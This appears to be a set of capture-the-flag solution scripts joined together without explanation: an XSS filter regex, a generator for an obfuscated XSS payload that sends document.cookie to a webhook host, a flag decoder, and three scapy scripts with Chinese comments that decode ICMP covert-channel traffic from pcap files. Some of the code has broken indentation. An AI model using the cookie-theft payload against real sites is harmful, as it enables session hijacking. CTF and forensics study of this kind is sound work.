def filter_4(payload):
    regex = "(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|`).*(('.+')|(\".+\")|(`.+`)).*(\"|'|`)).*))|(on\w+\s*=)|\+|!"
    if re.match(regex, payload):
return "Nope"
    return payload

#!/usr/bin/env python3
import sys

def build_payload(host: str) -> str:
    js = f"fetch('//{host}?f='+document.cookie)"
    codes = ','.join(str(ord(c)) for c in js)       
    return (
        '<img src=x onerror='
        f'([]+[]).constructor.constructor(([]+[]).constructor.fromCharCode({codes}))()>'
    )

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: python3 0xfun.py <webhook-host>")
        sys.exit(1)
    print(build_payload(sys.argv[1].strip().rstrip('/')))

from flag import flag

# flag = b"XXXXXXXXXX"

for char in flag:
    print(char)

# 66
# 52
# 66
# 89
# 123
# 52
# 95
# 67
# 104
# 52
# 114
# 97
# 67
# 55
# 51
# 114
# 95
# 49
# 115
# 95
# 74
# 117
# 53
# 116
# 95
# 52
# 95
# 110
# 85
# 109
# 56
# 51
# 114
# 33
# 125

ascii_values = [  
    66, 52, 66, 89, 123, 52, 95, 67, 104, 52, 114, 97, 67, 55, 51, 114,  
    95, 49, 115, 95, 74, 117, 53, 116, 95, 52, 95, 110, 85, 109, 56, 51,  
    114, 33, 125  
]  
  
flag_str = ''.join(chr(i) for i in ascii_values)  
print(flag_str)  
# 或：  
# for char in chars:  
#     flag += chr(char)

from scapy.all import rdpcap, ICMP, Raw  
# 从 Scapy 库导入必要的模块：  
# - rdpcap: 用于读取 .pcap (数据包捕获) 文件。  
# - ICMP: 表示 Internet 控制消息协议层。  
# - Raw: 表示数据包中未经解析的原始数据负载层。  
  
def xor_data(data: bytes, key: int) -> bytes:  
    """  
    使用一个2字节的密钥对字节串进行重复XOR操作。  
  
    参数:  
        data (bytes): 要进行XOR操作的字节串。  
        key (int): 用于XOR的16位整数密钥。  
  
    返回:  
        bytes: XOR操作后的结果字节串。  
    """    # 将16位整数密钥转换为2字节的字节串，使用小端序 (little-endian)。  
    # 例如，如果 key 是 0x0ADA，那么 key_bytes 将是 b'\xda\x0a'。  
    key_bytes = key.to_bytes(2, 'little')  
  
    # 遍历输入的 'data' 字节串及其索引。  
    # 对于索引 'i' 处的每个字节 'b'，将其与 'key_bytes' 中的一个字节进行XOR。  
    # 使用 'i % 2' 来轮流选择 key_bytes[0] 和 key_bytes[1] 进行XOR，实现重复密钥的效果。  
    return bytes(b ^ key_bytes[i % 2] for i, b in enumerate(data))  
  
  
# --- 主脚本逻辑 ---  
# 从 "capture.pcap" 文件加载所有数据包。  
packets = rdpcap("capture.pcap")  
  
# 定义一个已知的16位XOR密钥列表，脚本将尝试用这些密钥进行解密。  
keys = [0x0ADA, 0xFF3C, 0x0AEA, 0x3D56]  
  
# 用于存储分段消息的数据包负载的字典。  
# 键将是消息的序列号，值是对应数据包的有效负载（不包含头部）。  
packet_data = {}  
# 用于存储当前正在处理的消息的 (当前序列号, 总预期数据包数) 元组。  
current_sequence_id = None  
# 存储当前消息序列预期收到的总数据包数量。  
total_packets_expected = 0  
  
# 遍历加载的 pcap 文件中的每个数据包，索引从1开始。  
for i, pkt in enumerate(packets, 1):  
    # 检查数据包是否包含 ICMP 层并且有 Raw (原始数据) 层。  
    # 这确保我们处理的是带有实际负载的 ICMP 数据包。  
    if ICMP in pkt and pkt.haslayer(Raw):  
        # 提取 Raw 层的原始负载数据作为字节串。  
        raw_data = bytes(pkt[Raw].load)  
        print(f"\n数据包 #{i} 原始负载:")  
        print(raw_data)  # 打印原始字节串，可能显示为ASCII或转义序列  
  
        # 检查负载长度是否小于8字节（这是自定义序列头部的预期长度）。  
        # 如果太短，则认为它不符合分段协议的格式，尝试直接用已知密钥XOR整个负载。  
        if len(raw_data) < 8:  
            print(f"警告: 数据包 #{i} 负载 ({len(raw_data)} 字节) 太短，无法解析头部。尝试直接XOR。")  
            for key in keys:  
                zz = xor_data(raw_data, key)  # 对短负载进行XOR解密。  
                print(f"密钥 {hex(key)} XOR 解码结果:")  
                print(zz)  # 打印解密后的字节串。  
            continue  # 处理完这个短负载数据包后，跳到下一个数据包。  
  
        # 尝试解析自定义的8字节头部。  
        # 约定：前4字节是当前序列号，接下来的4字节是消息的总数据包数。  
        try:  
            # 将前4字节解码为ASCII字符串，然后转换为整数作为当前序列号。  
            current_seq = int(raw_data[:4].decode('ascii'))  
            # 将接下来的4字节解码为ASCII字符串，然后转换为整数作为总序列数。  
            total_seqs = int(raw_data[4:8].decode('ascii'))  
        except (ValueError, UnicodeDecodeError):  
            # 如果解析头部失败（例如，不是有效的数字，或者不是ASCII编码），则跳过此数据包。  
            print(f"警告: 数据包 #{i} 头部解析失败，跳过。")  
            continue  
  
        # 如果当前序列号是1，表示一个新的消息序列开始。  
        # 此时应清除之前可能未完成的消息片段数据。  
        if current_seq == 1:  
            print(f"\n--- 数据包 #{i}: 新消息序列开始。清除旧数据。总预期数据包数: {total_seqs} ---")  
            packet_data.clear()  # 清空存储旧消息片段的字典。  
            current_sequence_id = (current_seq, total_seqs)  # 更新当前消息的标识。  
            total_packets_expected = total_seqs  # 更新该消息预期的总数据包数。  
  
        # 存储当前数据包的有效负载（移除8字节头部）。  
        # 使用当前序列号作为字典的键。  
        data_without_header = raw_data[8:]  
        packet_data[current_seq] = data_without_header  
  
        # 打印当前数据包的序列号和总序列数，以及已收集的片段数量。  
        print(  
            f"处理数据包 #{i}: 序列 {current_seq}/{total_seqs}。已收集 {len(packet_data)}/{total_packets_expected} 个片段。")  
  
        # 如果已收集的片段数量达到了预期的总数据包数，则表示一个完整的消息已接收。  
        if len(packet_data) == total_packets_expected:  
            print(f"\n--- 已收到所有 {total_packets_expected} 个数据包。正在重构消息。---")  
  
            # 按序列号排序并拼接所有收集到的数据片段，形成完整的原始数据。  
            full_data = b''.join(packet_data[seq] for seq in sorted(packet_data))  
  
            print("\n最终拼接的原始数据 (Hex/ASCII):")  
            try:  
                # 尝试将完整数据解码为ASCII字符串并打印。  
                print(full_data.decode('ascii'))  
            except UnicodeDecodeError:  
                # 如果解码失败，则打印数据的十六进制表示。  
                print(full_data.hex())  
  
            # 遍历所有已知的XOR密钥，尝试对重构的完整数据进行解密。  
            for key in keys:  
                decoded = xor_data(full_data, key)  # 使用当前密钥进行XOR解密。  
                try:  
                    # 尝试将解密后的数据解码为ASCII字符串。  
                    decoded_str = decoded.decode('ascii')  
                except UnicodeDecodeError:  
                    # 如果解码失败，则打印解密后数据的十六进制表示。  
                    decoded_str = decoded.hex()  
  
                print(f"\n密钥 {hex(key)} XOR 解码结果:")  
                print(decoded_str)  
  
            # 一个消息序列处理完成后，重置状态变量，以便处理PCAP文件中可能存在的下一个消息序列。  
            packet_data.clear()  # 清空片段数据。  
            current_sequence_id = None  # 重置当前消息标识。  
            total_packets_expected = 0  # 重置预期总数据包数。

#!/usr/bin/env python3  
from scapy.all import rdpcap, ICMP  
from ctypes import c_uint32  
  
  
def ansi_rand(seed, n):  
    """  
    实现一个简单的ANSI C兼容的伪随机数生成器 (PRNG)，通常被称为 'rand()'。  
    该函数根据给定的种子生成 'n' 个字节的伪随机序列。  
    这个PRNG的特定乘数和加数是经典的 ANSI C `rand()` 实现中常见的魔术数字。  
  
    参数:  
        seed (int): 伪随机数生成器的初始种子。  
        n (int): 需要生成的随机字节的数量。  
  
    返回:  
        bytes: 包含 'n' 个伪随机字节的字节串。  
    """    out = bytearray()  # 初始化一个可变字节数组，用于存储生成的随机字节。  
    state = c_uint32(seed)  # 使用 ctypes 的 c_uint32 来存储PRNG的内部状态，  
    # 这样可以确保位操作和溢出行为与C语言中的无符号32位整数一致。  
  
    for _ in range(n):  # 循环 'n' 次，每次生成一个随机字节。  
        # 核心的ANSI C PRNG算法：  
        # 这里使用的是常见的常量：0x343fd 和 0x269ec3 (MSVC rand() 变体)  
        state.value = (state.value * 0x343fd + 0x269ec3) & 0xffffffff  
        # 将结果限制在32位无符号整数范围内 (0xffffffff)。  
  
        # 提取高16位作为输出。这是ANSI C `rand()` 的常见做法，  
        # 因为低位的随机性可能不如高位。然后取其低8位作为字节。  
        out.append((state.value >> 16) & 0xff)  
    return bytes(out)  # 将 bytearray 转换为不可变的 bytes 对象并返回。  
  
  
# --- 主程序逻辑 ---  
pcap = rdpcap("capture.pcap")  
# 读取名为 "capture.pcap" 的数据包捕获文件，并将其所有数据包加载到 'pcap' 变量中。  
  
key = bytearray()  
# 初始化一个空的 bytearray，用于存储从数据包中提取的RC4密钥blob。  
# 使用 bytearray 是因为我们将逐步地 extend (追加) 字节到其中。  
  
ctext = []  
# 初始化一个空列表，用于存储从数据包中提取的密文块 (payloads)。  
# 每个密文块都是一个 bytes 对象。  
  
print("开始处理 PCAP 文件...")  
  
for p in pcap:  
    # 遍历 pcap 文件中的每一个数据包 'p'。  
    if not p.haslayer(ICMP): continue  
    # 检查当前数据包 'p' 是否包含 ICMP 层。  
    # 如果不包含，则跳过当前数据包，继续下一个。  
  
    data = bytes(p[ICMP].payload)  
    # 获取 ICMP 层的完整负载 (payload)，并将其转换为 bytes 类型。  
    # 这个负载包含了自定义协议的头部和实际数据。  
  
    # --- 解决报错的关键改动：添加长度检查 ---    # 检查 ICMP payload 的长度是否至少为8字节。  
    # 如果不足8字节，则无法正确解析自定义头部（8字节），因此跳过此数据包。  
    if len(data) < 8:  
        # print(f"警告: 跳过一个 ICMP 数据包，其负载 ({len(data)}字节) 短于预期的8字节头部。")  
        continue  
  
    hdr, payload = data[:8], data[8:]  
    # 将 ICMP 负载分割为两部分：  
    # hdr (头部): 前8个字节，包含自定义协议的通道(chan)、操作码(op)和序列号(seq)信息。  
    # payload (有效载荷): 从第9个字节开始到末尾，是实际的数据（密钥blob或密文块）。  
  
    try:  
        # 解析自定义头部。  
        # 将前4字节（通道信息）转换为十六进制字符串，再转换为整数。  
        chan = int(hdr[:4].hex(), 16)  
        # 将后4字节（操作码信息）转换为十六进制字符串，再转换为整数。  
        op = int(hdr[4:].hex(), 16)  
        # 注意: 原始代码中 'seq' 的赋值是冗余的且与 'op' 相同，因为它没有在后续逻辑中使用。  
        # op = int(hdr[4:].hex(), 16)  
    except ValueError as e:  
        # 捕获可能发生的 ValueError，例如如果 hdr[:4].hex() 或 hdr[4:].hex() 返回了非法的十六进制字符串。  
        # 这在 hdr 长度检查后通常不会发生，但作为防御性编程是好的实践。  
        # print(f"警告: 无法解析 ICMP 头部中的十六进制值，跳过此数据包。错误: {e}")  
        continue  # 跳过此数据包。  
  
    if op == 0x0003:  
        # 如果操作码 'op' 是 0x0003，这表示当前数据包的 payload 是 RC4 密钥的一部分。  
        key.extend(payload)  # 将当前数据包的 payload 追加到 'key' bytearray 中。  
        # 这可能是分段传输的RC4密钥blob。  
    elif op == 0x0035:  
        # 如果操作码 'op' 是 0x0035，这表示当前数据包的 payload 是密文的一个块。  
        ctext.append(payload)  # 将当前数据包的 payload 作为密文块添加到 'ctext' 列表中。  
  
# --- 解密阶段 ---  
seed = 0x34B17EC5  
# 定义用于初始化 PRNG 的种子值。这是一个硬编码的常量，是解密的关键部分。  
  
# 计算总密文长度，以便为 PRNG 生成足够长的密钥流。  
total_ctext_len = sum(len(b) for b in ctext)  
  
# --- 额外检查：确保有密文需要解密 ---if total_ctext_len == 0:  
    print("未在 PCAP 文件中找到任何密文块。无需解密。")  
    exit(0)  # 优雅退出，因为没有数据需要处理。  
  
ks = ansi_rand(seed, total_ctext_len)  
# 使用之前定义的 'ansi_rand' 函数，根据 'seed' 和总密文长度生成一个密钥流 (key stream)。  
# 这个密钥流将用于与密文进行异或操作来解密。  
  
cipher = b"".join(ctext)  
# 将 'ctext' 列表中所有分散的密文块连接成一个单一的、连续的密文 bytes 对象。  
  
# 执行解密：将连接后的密文 'cipher' 与生成的密钥流 'ks' 进行按字节异或操作。  
# zip 函数将 'cipher' 和 'ks' 中的字节一一配对。  
# 这种异或操作是 RC4 (或类似流密码) 的典型解密方式。  
plain = bytes(c ^ k for c, k in zip(cipher, ks))  
  
# --- 保存解密结果 ---  
with open("plain.bin", "wb") as f:  
    # 以二进制写入模式 ("wb") 打开一个名为 "plain.bin" 的文件。  
    # 'with' 语句确保文件在操作完成后自动关闭。  
    f.write(plain)  # 将解密后的明文数据写入文件。  
  
print("\n解密完成！明文已保存到 plain.bin 文件中。")

from scapy.all import * # 导入Scapy库的所有功能。Scapy是一个强大的交互式数据包操作程序，用于创建、发送、嗅探和解析网络数据包。  
from sys import argv     # 从sys模块导入'argv'，用于处理命令行参数。  
  
def derive_key(checksum_request, checksum_reply):  
    """  
    根据ICMP请求和回复数据包中的校验和派生一个8字节的解密密钥。  
    此函数实现了一种特定的密钥派生算法。  
    参数：  
        checksum_request (int): ICMP密钥交换请求数据包的校验和值。  
        checksum_reply (int): ICMP密钥交换回复数据包的校验和值。  
  
    返回：  
        list: 一个包含8个整数的列表，每个整数代表派生密钥的一个字节。  
    """    key = []  
    # 提取请求校验和的高字节和低字节  
    key.append((checksum_request >> 8) & 0xFF)  # key[0]: checksum_request 的高字节  
    key.append(checksum_request & 0xFF)          # key[1]: checksum_request 的低字节  
    # 提取回复校验和的高字节和低字节  
    key.append((checksum_reply >> 8) & 0xFF)    # key[2]: checksum_reply 的高字节  
    key.append(checksum_reply & 0xFF)            # key[3]: checksum_reply 的低字节  
    # 使用前四个字节的异或操作来派生额外的密钥字节  
    key.append(key[0] ^ key[1])                  # key[4]: key[0] 和 key[1] 的异或结果  
    key.append(key[2] ^ key[3])                  # key[5]: key[2] 和 key[3] 的异或结果  
    key.append(key[0] ^ key[2])                  # key[6]: key[0] 和 key[2] 的异或结果  
    key.append(key[1] ^ key[3])                  # key[7]: key[1] 和 key[3] 的异或结果  
    return key  
  
def decrypt_data(data, key):  
    """  
    使用重复异或密码和提供的密钥解密给定的字节字符串。  
  
    参数：  
        data (bytes): 要解密的加密数据（字节字符串）。  
        key (list): 解密密钥（整数列表，每个整数代表一个字节）。  
  
    返回：  
        bytes: 解密后的数据（字节字符串）。  
    """    # 遍历数据字节，将每个字节与对应的密钥字节进行异或操作。  
    # 密钥是循环使用的（通过 key[i % len(key)] 实现）。  
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])  
  
def process_pcap(pcap_file):  
    """  
    处理PCAP文件，从自定义ICMP流量中提取并解密命令和响应。  
    此函数假设了一个特定的协议，其中：  
    - 密钥交换涉及ICMP类型12，代码35（请求）和类型0，代码0（回复）。  
    - 命令通过ICMP类型19，代码42发送。  
    - 响应被分段并通过ICMP类型8，代码0发送。  
  
    参数：  
        pcap_file (str): 要处理的PCAP文件的路径。  
    """    packets = rdpcap(pcap_file) # 从指定的PCAP文件中读取所有数据包。  
    current_key = None          # 存储当前派生出的解密密钥。  
    checksum_request = None     # 存储上一个密钥交换请求的校验和。  
    response = ""               # 累积解密后的响应数据。  
    cmd_count = 0               # 处理的命令数量计数器。  
    # 原始代码中缺少 'keys' 列表的定义。它可能旨在存储所有派生的密钥。  
    # 为避免 NameError，这里对其进行初始化。  
    keys = [] # 初始化 'keys' 列表，用于存储所有派生的密钥。  
  
    print("Processing PCAP file...\n")  
  
    for pkt in packets:  
        # 检查数据包是否包含ICMP层  
        if ICMP in pkt:  
            icmp = pkt[ICMP]  
  
            # --- 密钥交换请求 ---            # 自定义ICMP类型12，代码35表示密钥交换请求。  
            if icmp.type == 12 and icmp.code == 35:  
                # 如果有正在进行的响应，则在开始新的密钥交换之前打印它。  
                if response:  
                    print(f"Response {cmd_count-1}: {response}")  
                    response = "" # 清空响应缓冲区。  
                checksum_request = icmp.chksum # 存储校验和以进行密钥派生。  
                continue # 继续处理下一个数据包。  
  
            # --- 密钥交换回复 ---            # 在此自定义协议中，密钥交换请求后的标准ICMP Echo Reply（类型0，代码0）  
            # 被解释为密钥交换回复。  
            if icmp.type == 0 and icmp.code == 0 and checksum_request is not None:  
                # 如果有正在进行的响应，则打印它。  
                if response:  
                    print(f"Response {cmd_count-1}: {response}")  
                    response = "" # 清空响应缓冲区。  
                checksum_reply = icmp.chksum # 存储回复校验和。  
                # 使用请求和回复校验和派生新的密钥。  
                current_key = derive_key(checksum_request, checksum_reply)  
                # 打印派生的密钥并将其添加到 'keys' 列表中。  
                print(f"Key {len(keys)}: {current_key}")  
                keys.append(current_key)  
                checksum_request = None # 密钥交换完成后重置请求校验和。  
                continue # 继续处理下一个数据包。  
  
            # --- 命令数据包 ---            # 自定义ICMP类型19，代码42表示加密命令。  
            if icmp.type == 19 and icmp.code == 42:  
                # 如果有正在进行的响应，则打印它。  
                if response:  
                    print(f"Response {cmd_count-1}: {response}")  
                    response = "" # 清空响应缓冲区。  
                # 从ICMP数据包中提取负载（加密的命令数据）。  
                cmd_data = bytes(icmp.payload)  
                # 使用 current_key 解密命令数据。  
                # .decode(errors='ignore') 处理非文本字节可能导致的解码错误。  
                # .strip('\x00') 移除通常用于填充的空字节。  
                if current_key: # 确保在尝试解密之前已派生出密钥  
                    cmd = decrypt_data(cmd_data, current_key).decode(errors='ignore').strip('\x00')  
                    print(f"Command {cmd_count}: {cmd}")  
                    cmd_count += 1  
                else:  
                    print(f"Warning: Command {cmd_count} 在密钥派生之前出现。跳过解密。")  
                continue # 继续处理下一个数据包。  
  
            # --- 响应片段 ---            # 标准ICMP Echo Request（类型8，代码0）用于发送响应片段。  
            if icmp.type == 8 and icmp.code == 0:  
                # 负载的前8个字节被跳过，可能是片段计数器或其他头部信息。  
                out_data = bytes(icmp.payload)[8:]  
                # 解密响应片段并将其附加到 'response' 缓冲区。  
                if current_key: # 确保在尝试解密之前已派生出密钥  
                    out = decrypt_data(out_data, current_key).decode(errors='ignore')  
                    response += out  
                else:  
                    print(f"Warning: 响应片段在密钥派生之前出现。跳过解密。")  
                # 这里没有 'continue'，因为一个响应可能由多个片段组成。  
                # 响应会在新的命令或密钥交换发生时，或在文件结束时打印。  
  
    # 处理完所有数据包后，打印任何剩余的累积响应。  
    if response:  
        print(f"Response {cmd_count-1}: {response}")  
  
if __name__ == "__main__":  
    # 如果命令行参数的数量不等于2（脚本名称 + pcap文件），则打印使用说明并退出。  
    if len(argv) != 2:  
        print("Usage: python solve.py <pcap_file>")  
        sys.exit(1)  
    pcap_file = argv[1] # 从命令行参数中获取PCAP文件路径。  
    process_pcap(pcap_file) # 调用主处理函数。